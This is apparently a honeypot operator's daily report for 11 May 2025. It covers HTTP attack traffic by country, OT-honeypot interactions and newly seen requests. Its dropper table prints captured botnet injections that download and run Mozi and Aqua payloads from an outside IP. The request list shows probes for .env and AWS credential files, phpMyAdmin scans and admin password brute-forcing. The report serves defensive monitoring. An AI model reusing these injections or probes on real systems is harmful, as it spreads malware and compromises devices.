Table of Contents

Daily Report: 2025-05-11
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 4 dropper URL(s).

There are 253 new requests that have never been observed before (these were added to the monitored request database.).

A total of 1648 requests were recorded during the day, originating from 4 different countries, with a peak of 837 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Germany
US	Germany
US	Germany
US	Germany
US	Germany
US	Dubai
MD	Israel

botnet_dropper_behaviour
#

remote_addr	request
196.251.72.142	GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/94.26.90.251/Aqua.x86;chmod+777+;./Aqua.x86;cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/94.26.90.251/Aqua.arm7;chmod+777+;./Aqua.arm7 HTTP/1.1
178.72.77.183	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
196.251.72.142	GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/94.26.90.251/jaws.sh;chmod+777+*;./jaws.sh HTTP/1.1
59.182.81.255	27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
49	2	GET /.env.e HTTP/1.1
53	2	GET /.example.env HTTP/1.1
54	2	GET /.EXAMPLE.env HTTP/1.1
98	1	GET /phpMyAdmin-2.6.4-pl2/users/users/login HTTP/1.1
131	1	GET /phpMyAdmin-2.6.4-pl2/users/users/users/users/login HTTP/1.1
173	1	GET /phpMyAdmin-2.6.4-pl2/users/users/users/login HTTP/1.1
308	1	GET /phpmy-admin/users/users/login HTTP/1.1
309	1	GET /phpmy-admin/users/users/users/login HTTP/1.1
310	1	GET /phpmy-admin/users/users/users/users/login HTTP/1.1
311	1	GET /phpmy-admin/users/users/users/users/users/login HTTP/1.1
312	1	GET /webadmin/ HTTP/1.1
313	1	GET /webadmin/users/login HTTP/1.1
314	1	GET /webadmin/users/users/login HTTP/1.1
315	1	GET /webadmin/users/users/users/login HTTP/1.1
316	1	GET /webadmin/users/users/users/users/login HTTP/1.1
317	1	GET /webadmin/users/users/users/users/users/login HTTP/1.1
318	1	GET /sqlweb/ HTTP/1.1
319	1	GET /sqlweb/users/login HTTP/1.1
320	1	GET /sqlweb/users/users/login HTTP/1.1
321	1	GET /sqlweb/users/users/users/login HTTP/1.1
322	1	GET /phpMyAdmin-2.7.0-rc1/users/users/login HTTP/1.1
323	1	GET /sqlweb/users/users/users/users/users/login HTTP/1.1
324	1	GET /websql/ HTTP/1.1
325	1	GET /websql/users/login HTTP/1.1
326	1	GET /websql/users/users/login HTTP/1.1
327	1	GET /websql/users/users/users/login HTTP/1.1
328	1	GET /websql/users/users/users/users/login HTTP/1.1
329	1	GET /websql/users/users/users/users/users/login HTTP/1.1
330	1	GET /webdb/ HTTP/1.1
331	1	GET /webdb/users/login HTTP/1.1
332	1	GET /webdb/users/users/login HTTP/1.1
333	1	GET /webdb/users/users/users/login HTTP/1.1
334	1	GET /webdb/users/users/users/users/login HTTP/1.1
335	1	GET /webdb/users/users/users/users/users/login HTTP/1.1
336	1	GET /mysqladmin/ HTTP/1.1
337	1	GET /mysqladmin/users/login HTTP/1.1
338	1	GET /sqlweb/users/users/users/users/login HTTP/1.1
339	1	GET /p/m/a/ HTTP/1.1
340	1	GET /p/m/a/users/login HTTP/1.1
341	1	GET /p/m/a/users/users/login HTTP/1.1
342	1	GET /p/m/a/users/users/users/login HTTP/1.1
343	1	GET /p/m/a/users/users/users/users/login HTTP/1.1
344	1	GET /p/m/a/users/users/users/users/users/login HTTP/1.1
345	1	GET /PMA2005/ HTTP/1.1
346	1	GET /PMA2005/users/login HTTP/1.1
347	1	GET /PMA2005/users/users/login HTTP/1.1
348	1	GET /PMA2005/users/users/users/login HTTP/1.1
349	1	GET /PMA2005/users/users/users/users/login HTTP/1.1
350	1	GET /PMA2005/users/users/users/users/users/login HTTP/1.1
351	1	GET /pma2005/ HTTP/1.1
352	1	GET /pma2005/users/login HTTP/1.1
353	1	GET /pma2005/users/users/login HTTP/1.1
354	1	GET /phpmy-admin/users/login HTTP/1.1
355	1	GET /pma2005/users/users/users/users/login HTTP/1.1
356	1	GET /pma2005/users/users/users/users/users/login HTTP/1.1
357	1	GET /phpmanager/ HTTP/1.1
358	1	GET /phpmanager/users/login HTTP/1.1
359	1	GET /phpmanager/users/users/login HTTP/1.1
360	1	GET /phpmanager/users/users/users/login HTTP/1.1
361	1	GET /phpmanager/users/users/users/users/login HTTP/1.1
362	1	GET /phpmanager/users/users/users/users/users/login HTTP/1.1
363	1	GET /php-myadmin/ HTTP/1.1
364	1	GET /php-myadmin/users/login HTTP/1.1
365	1	GET /php-myadmin/users/users/login HTTP/1.1
366	1	GET /php-myadmin/users/users/users/login HTTP/1.1
367	1	GET /php-myadmin/users/users/users/users/login HTTP/1.1
368	1	GET /php-myadmin/users/users/users/users/users/login HTTP/1.1
369	1	GET /phpmy-admin/ HTTP/1.1
370	1	GET /pma2005/users/users/users/login HTTP/1.1
374	1	GET /Stage/test HTTP/1.1
385	1	GET /mysqladmin/users/users/login HTTP/1.1
387	1	GET /ADMIN/test HTTP/1.1
388	1	GET /APP/test HTTP/1.1
389	1	GET /VENDOR/test HTTP/1.1
390	1	GET /CRM/test HTTP/1.1
391	1	GET /MEDIA/test HTTP/1.1
392	1	GET /STAGING/test HTTP/1.1
393	1	GET /TWILIO/test HTTP/1.1
394	1	GET /CONFIG/test HTTP/1.1
395	1	GET /STAGE/test HTTP/1.1
396	1	GET /test/test HTTP/1.1
397	1	GET /Test/test HTTP/1.1
398	1	GET /TEST/test HTTP/1.1
399	1	GET /d/test HTTP/1.1
402	1	GET /mysqladmin/users/users/users/login HTTP/1.1
403	1	GET /mysqladmin/users/users/users/users/login HTTP/1.1
404	1	GET /mysqladmin/users/users/users/users/users/login HTTP/1.1
405	1	GET /mysql-admin/ HTTP/1.1
406	1	GET /mysql-admin/users/login HTTP/1.1
407	1	GET /mysql-admin/users/users/login HTTP/1.1
408	1	GET /mysql-admin/users/users/users/login HTTP/1.1
409	1	GET /mysql-admin/users/users/users/users/login HTTP/1.1
410	1	GET /mysql-admin/users/users/users/users/users/login HTTP/1.1
412	1	\x00\x0E8\xB6\xDC\x10\xB7\xA8\x13\x1Dv\x00\x00\x00\x00\x00
434	1	GET /phpMyAdmin-2.7.0-pl1/users/login HTTP/1.1
435	1	GET /phpMyAdmin-2.7.0-pl1/users/users/login HTTP/1.1
436	1	GET /phpMyAdmin-2.7.0-pl1/users/users/users/login HTTP/1.1
437	1	GET /phpMyAdmin-2.7.0-pl1/users/users/users/users/login HTTP/1.1
438	1	GET /phpMyAdmin-2.7.0-pl1/users/users/users/users/users/login HTTP/1.1
439	1	GET /phpMyAdmin-2.7.0-pl2/ HTTP/1.1
440	1	GET /phpMyAdmin-2.7.0-pl2/users/login HTTP/1.1
441	1	GET /phpMyAdmin-2.7.0-pl2/users/users/login HTTP/1.1
442	1	GET /phpMyAdmin-2.7.0-pl2/users/users/users/login HTTP/1.1
443	1	GET /phpMyAdmin-2.7.0-pl2/users/users/users/users/login HTTP/1.1
444	1	GET /phpMyAdmin-2.7.0-pl2/users/users/users/users/users/login HTTP/1.1
445	1	GET /phpMyAdmin-2.7.0/ HTTP/1.1
446	1	GET /phpMyAdmin-2.7.0/users/login HTTP/1.1
447	1	GET /phpMyAdmin-2.7.0/users/users/login HTTP/1.1
448	1	GET /mysqlmanager/users/users/users/users/users/login HTTP/1.1
449	1	GET /phpMyAdmin-2.7.0/users/users/users/users/login HTTP/1.1
450	1	GET /phpMyAdmin-2.7.0/users/users/users/users/users/login HTTP/1.1
451	1	GET /phpMyAdmin-2.8.0-beta1/ HTTP/1.1
452	1	GET /phpMyAdmin-2.8.0-beta1/users/login HTTP/1.1
453	1	GET /phpMyAdmin-2.8.0-beta1/users/users/login HTTP/1.1
454	1	GET /phpMyAdmin-2.8.0-beta1/users/users/users/login HTTP/1.1
455	1	GET /phpMyAdmin-2.8.0-beta1/users/users/users/users/login HTTP/1.1
456	1	GET /phpMyAdmin-2.8.0-beta1/users/users/users/users/users/login HTTP/1.1
457	1	GET /phpMyAdmin-2.8.0-rc1/ HTTP/1.1
458	1	GET /phpMyAdmin-2.8.0-rc1/users/login HTTP/1.1
459	1	GET /phpMyAdmin-2.8.0-rc1/users/users/login HTTP/1.1
460	1	GET /phpMyAdmin-2.8.0-rc1/users/users/users/login HTTP/1.1
461	1	GET /phpMyAdmin-2.8.0-rc1/users/users/users/users/login HTTP/1.1
462	1	GET /phpMyAdmin-2.8.0-rc1/users/users/users/users/users/login HTTP/1.1
463	1	GET /phpMyAdmin-2.8.0-rc2/ HTTP/1.1
464	1	GET /phpMyAdmin-2.7.0/users/users/users/login HTTP/1.1
465	1	GET /phpMyAdmin-2.6.4-pl2/users/users/users/users/users/login HTTP/1.1
466	1	GET /phpMyAdmin-2.6.4-pl3/ HTTP/1.1
467	1	GET /phpMyAdmin-2.6.4-pl3/users/login HTTP/1.1
468	1	GET /phpMyAdmin-2.6.4-pl3/users/users/login HTTP/1.1
469	1	GET /phpMyAdmin-2.6.4-pl3/users/users/users/login HTTP/1.1
470	1	GET /phpMyAdmin-2.6.4-pl3/users/users/users/users/login HTTP/1.1
471	1	GET /phpMyAdmin-2.6.4-pl3/users/users/users/users/users/login HTTP/1.1
472	1	GET /phpMyAdmin-2.6.4-pl4/ HTTP/1.1
473	1	GET /phpMyAdmin-2.6.4-pl4/users/login HTTP/1.1
474	1	GET /phpMyAdmin-2.6.4-pl4/users/users/login HTTP/1.1
475	1	GET /phpMyAdmin-2.6.4-pl4/users/users/users/login HTTP/1.1
476	1	GET /phpMyAdmin-2.6.4-pl4/users/users/users/users/login HTTP/1.1
477	1	GET /phpMyAdmin-2.6.4-pl4/users/users/users/users/users/login HTTP/1.1
478	1	GET /phpMyAdmin-2.6.4/ HTTP/1.1
479	1	GET /phpMyAdmin-2.6.4/users/login HTTP/1.1
480	1	GET /phpMyAdmin-2.7.0-pl1/ HTTP/1.1
481	1	GET /phpMyAdmin-2.6.4/users/users/users/login HTTP/1.1
482	1	GET /phpMyAdmin-2.6.4/users/users/users/users/login HTTP/1.1
483	1	GET /phpMyAdmin-2.6.4/users/users/users/users/users/login HTTP/1.1
484	1	GET /phpMyAdmin-2.7.0-beta1/ HTTP/1.1
485	1	GET /phpMyAdmin-2.7.0-beta1/users/login HTTP/1.1
486	1	GET /phpMyAdmin-2.7.0-beta1/users/users/login HTTP/1.1
487	1	GET /phpMyAdmin-2.7.0-beta1/users/users/users/login HTTP/1.1
488	1	GET /phpMyAdmin-2.7.0-beta1/users/users/users/users/login HTTP/1.1
489	1	GET /phpMyAdmin-2.7.0-beta1/users/users/users/users/users/login HTTP/1.1
490	1	GET /phpMyAdmin-2.7.0-rc1/ HTTP/1.1
491	1	GET /phpMyAdmin-2.7.0-rc1/users/login HTTP/1.1
493	1	GET /phpMyAdmin-2.7.0-rc1/users/users/users/login HTTP/1.1
494	1	GET /phpMyAdmin-2.7.0-rc1/users/users/users/users/login HTTP/1.1
495	1	GET /phpMyAdmin-2.7.0-rc1/users/users/users/users/users/login HTTP/1.1
496	1	GET /phpMyAdmin-2.6.4/users/users/login HTTP/1.1
497	1	GET /phpMyAdmin-2.8.0.4/users/users/users/users/login HTTP/1.1
498	1	GET /phpMyAdmin-2.8.0.4/users/users/users/users/users/login HTTP/1.1
499	1	GET /phpMyAdmin-2.8.1-rc1/ HTTP/1.1
500	1	GET /phpMyAdmin-2.8.1-rc1/users/login HTTP/1.1
501	1	GET /phpMyAdmin-2.8.1-rc1/users/users/login HTTP/1.1
502	1	GET /phpMyAdmin-2.8.1-rc1/users/users/users/login HTTP/1.1
503	1	GET /phpMyAdmin-2.8.1-rc1/users/users/users/users/login HTTP/1.1
504	1	GET /phpMyAdmin-2.8.1-rc1/users/users/users/users/users/login HTTP/1.1
505	1	GET /phpMyAdmin-2.8.1/ HTTP/1.1
506	1	GET /phpMyAdmin-2.8.1/users/login HTTP/1.1
507	1	GET /phpMyAdmin-2.8.1/users/users/login HTTP/1.1
508	1	GET /phpMyAdmin-2.8.1/users/users/users/login HTTP/1.1
509	1	GET /phpMyAdmin-2.8.1/users/users/users/users/login HTTP/1.1
510	1	GET /phpMyAdmin-2.8.1/users/users/users/users/users/login HTTP/1.1
511	1	GET /phpMyAdmin-2.8.2/ HTTP/1.1
512	1	GET /phpMyAdmin-2.8.0-rc2/users/login HTTP/1.1
513	1	GET /phpMyAdmin-2.8.2/users/users/login HTTP/1.1
514	1	GET /phpMyAdmin-2.8.2/users/users/users/login HTTP/1.1
515	1	GET /phpMyAdmin-2.8.2/users/users/users/users/login HTTP/1.1
516	1	GET /phpMyAdmin-2.8.2/users/users/users/users/users/login HTTP/1.1
517	1	GET /sqlmanager/ HTTP/1.1
518	1	GET /sqlmanager/users/login HTTP/1.1
519	1	GET /sqlmanager/users/users/login HTTP/1.1
520	1	GET /sqlmanager/users/users/users/login HTTP/1.1
521	1	GET /sqlmanager/users/users/users/users/login HTTP/1.1
522	1	GET /sqlmanager/users/users/users/users/users/login HTTP/1.1
523	1	GET /mysqlmanager/ HTTP/1.1
524	1	GET /mysqlmanager/users/login HTTP/1.1
525	1	GET /mysqlmanager/users/users/login HTTP/1.1
526	1	GET /mysqlmanager/users/users/users/login HTTP/1.1
527	1	GET /mysqlmanager/users/users/users/users/login HTTP/1.1
528	1	GET /phpMyAdmin-2.8.2/users/login HTTP/1.1
529	1	GET /phpMyAdmin-2.8.0-rc2/users/users/login HTTP/1.1
530	1	GET /phpMyAdmin-2.8.0-rc2/users/users/users/login HTTP/1.1
531	1	GET /phpMyAdmin-2.8.0-rc2/users/users/users/users/login HTTP/1.1
532	1	GET /phpMyAdmin-2.8.0-rc2/users/users/users/users/users/login HTTP/1.1
533	1	GET /phpMyAdmin-2.8.0/ HTTP/1.1
534	1	GET /phpMyAdmin-2.8.0/users/login HTTP/1.1
535	1	GET /phpMyAdmin-2.8.0/users/users/login HTTP/1.1
536	1	GET /phpMyAdmin-2.8.0/users/users/users/login HTTP/1.1
537	1	GET /phpMyAdmin-2.8.0/users/users/users/users/login HTTP/1.1
538	1	GET /phpMyAdmin-2.8.0/users/users/users/users/users/login HTTP/1.1
539	1	GET /phpMyAdmin-2.8.0.1/ HTTP/1.1
540	1	GET /phpMyAdmin-2.8.0.1/users/login HTTP/1.1
541	1	GET /phpMyAdmin-2.8.0.1/users/users/login HTTP/1.1
542	1	GET /phpMyAdmin-2.8.0.1/users/users/users/login HTTP/1.1
543	1	GET /phpMyAdmin-2.8.0.1/users/users/users/users/login HTTP/1.1
544	1	GET /phpMyAdmin-2.8.0.4/users/users/users/login HTTP/1.1
545	1	GET /phpMyAdmin-2.8.0.2/ HTTP/1.1
546	1	GET /phpMyAdmin-2.8.0.2/users/login HTTP/1.1
547	1	GET /phpMyAdmin-2.8.0.2/users/users/login HTTP/1.1
548	1	GET /phpMyAdmin-2.8.0.2/users/users/users/login HTTP/1.1
549	1	GET /phpMyAdmin-2.8.0.2/users/users/users/users/login HTTP/1.1
550	1	GET /phpMyAdmin-2.8.0.2/users/users/users/users/users/login HTTP/1.1
551	1	GET /phpMyAdmin-2.8.0.3/ HTTP/1.1
552	1	GET /phpMyAdmin-2.8.0.3/users/login HTTP/1.1
553	1	GET /phpMyAdmin-2.8.0.3/users/users/login HTTP/1.1
554	1	GET /phpMyAdmin-2.8.0.3/users/users/users/login HTTP/1.1
555	1	GET /phpMyAdmin-2.8.0.3/users/users/users/users/login HTTP/1.1
556	1	GET /phpMyAdmin-2.8.0.3/users/users/users/users/users/login HTTP/1.1
557	1	GET /phpMyAdmin-2.8.0.4/ HTTP/1.1
558	1	GET /phpMyAdmin-2.8.0.4/users/login HTTP/1.1
559	1	GET /phpMyAdmin-2.8.0.4/users/users/login HTTP/1.1
560	1	GET /phpMyAdmin-2.8.0.1/users/users/users/users/users/login HTTP/1.1
567	1	DESCRIBE rtsp://xxx.xxx.xxx.xxx:80/0x8b6c42 RTSP/1.0
568	1	GET /k2Tk HTTP/1.1
569	1	GET /jyF4 HTTP/1.1
585	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22admin%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
586	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22admin12345%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
587	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22asdf1234%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
588	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22abc12345%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
589	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%2212345admin%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
590	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%2212345abc%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
606	1	GET /Api HTTP/1.1
611	1	GET /aws.txt HTTP/1.1
617	1	GET /.AWS HTTP/1.1
618	1	GET /.Aws HTTP/1.1
621	1	GET /API HTTP/1.1
622	1	\x00\x0E8C\xBC\xF82\x90z\xA6`\x00\x00\x00\x00\x00
637	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22admin5690%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
654	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22playadelcarmen2404%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
655	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22Soubirous33115%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
656	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22Jrmd1967%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
657	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22catalin12%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
658	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%2219chantillly19%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
659	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22Womm@22102016%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
660	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22p@ssw0rd%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
661	1	GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%22%22%20squ=%22%22%20dir=%220%22%3E%3Crpermission%20usr=%22admin%22%20pwd=%22kheops1196%22%3E%3Cconfig%20base=%22%22/%3E%3Cplayback%20base=%22%22/%3E%3C/rpermission%3E%3C/juan%3E HTTP/1.1
663	1	\x00\x0E8\xE6\xD6r\xDA\xA8\xB6\x19\xEF\x00\x00\x00\x00\x00
669	1	GET /config/index?time=1746969607398257893 HTTP/1.1
670	1	GET /api/bin/440393?time=1746969733276045623 HTTP/1.1
671	1	POST /api/user/binLookup?time=1746969734185819936 HTTP/1.1
716	1	GET /odinhttpcall1746991306 HTTP/1.1
717	1	GET /BACKEND/test HTTP/1.1
719	1	GET /OdinHttpCall1746991306 HTTP/1.1
720	1	GET /Odin/http/call1746991306 HTTP/1.1
1057	1	\x00\x0E8\xEB\xDA\xF1\xDE/@\xBCJ\x00\x00\x00\x00\x00

country_iso_code
#

	number_of_occurence	country_iso_code
0	837	US
1	185	GB
2	129	ID
3	113	DE
4	97	NL
5	41	PL
6	27	SG
7	23	CH
8	23	MD
9	20	SC
10	18	LT
11	12	IL
12	11	HK
13	10	KR
14	9	CA
15	9	UA
16	8	TR
17	7	BR
18	7	JP
19	7	CN
20	7	GH
21	6	AO
22	6	VN
23	4	IN
24	3	BG
25	3	RU
26	3	BE
27	2	IT
28	2	VE
29	2	AU
30	2	IR
31	2	MO
32	2	EE
33	1	HN
34	1	EC
35	1	FR
36	1	ES
37	1	RO
38	1	EG
39	1	KH
40	1	AL
41	1	CO
42	1	MC
43	1	SE

Report: 2025-05-10

10 May 2025·420 words

	number_of_occurence	country_iso_code
0	837	US
1	185	GB
2	129	ID
3	113	DE
4	97	NL
5	41	PL
6	27	SG
7	23	CH
8	23	MD
9	20	SC
10	18	LT
11	12	IL
12	11	HK
13	10	KR
14	9	CA
15	9	UA
16	8	TR
17	7	BR
18	7	JP
19	7	CN
20	7	GH
21	6	AO
22	6	VN
23	4	IN
24	3	BG
25	3	RU
26	3	BE
27	2	IT
28	2	VE
29	2	AU
30	2	IR
31	2	MO
32	2	EE
33	1	HN
34	1	EC
35	1	FR
36	1	ES
37	1	RO
38	1	EG
39	1	KH
40	1	AL
41	1	CO
42	1	MC
43	1	SE

	number_of_occurence	country_iso_code
0	837	US
1	185	GB
2	129	ID
3	113	DE
4	97	NL
5	41	PL
6	27	SG
7	23	CH
8	23	MD
9	20	SC
10	18	LT
11	12	IL
12	11	HK
13	10	KR
14	9	CA
15	9	UA
16	8	TR
17	7	BR
18	7	JP
19	7	CN
20	7	GH
21	6	AO
22	6	VN
23	4	IN
24	3	BG
25	3	RU
26	3	BE
27	2	IT
28	2	VE
29	2	AU
30	2	IR
31	2	MO
32	2	EE
33	1	HN
34	1	EC
35	1	FR
36	1	ES
37	1	RO
38	1	EG
39	1	KH
40	1	AL
41	1	CO
42	1	MC
43	1	SE

Daily Report: 2025-05-11#

Executive summary#

executive_summary#

ot_simplified_report#

botnet_dropper_behaviour#

request#

country_iso_code#

Related

Daily Report: 2025-05-11
#

Executive summary
#

executive_summary
#

ot_simplified_report
#

botnet_dropper_behaviour
#

request
#

country_iso_code
#

	number_of_occurence	country_iso_code
0	837	US
1	185	GB
2	129	ID
3	113	DE
4	97	NL
5	41	PL
6	27	SG
7	23	CH
8	23	MD
9	20	SC
10	18	LT
11	12	IL
12	11	HK
13	10	KR
14	9	CA
15	9	UA
16	8	TR
17	7	BR
18	7	JP
19	7	CN
20	7	GH
21	6	AO
22	6	VN
23	4	IN
24	3	BG
25	3	RU
26	3	BE
27	2	IT
28	2	VE
29	2	AU
30	2	IR
31	2	MO
32	2	EE
33	1	HN
34	1	EC
35	1	FR
36	1	ES
37	1	RO
38	1	EG
39	1	KH
40	1	AL
41	1	CO
42	1	MC
43	1	SE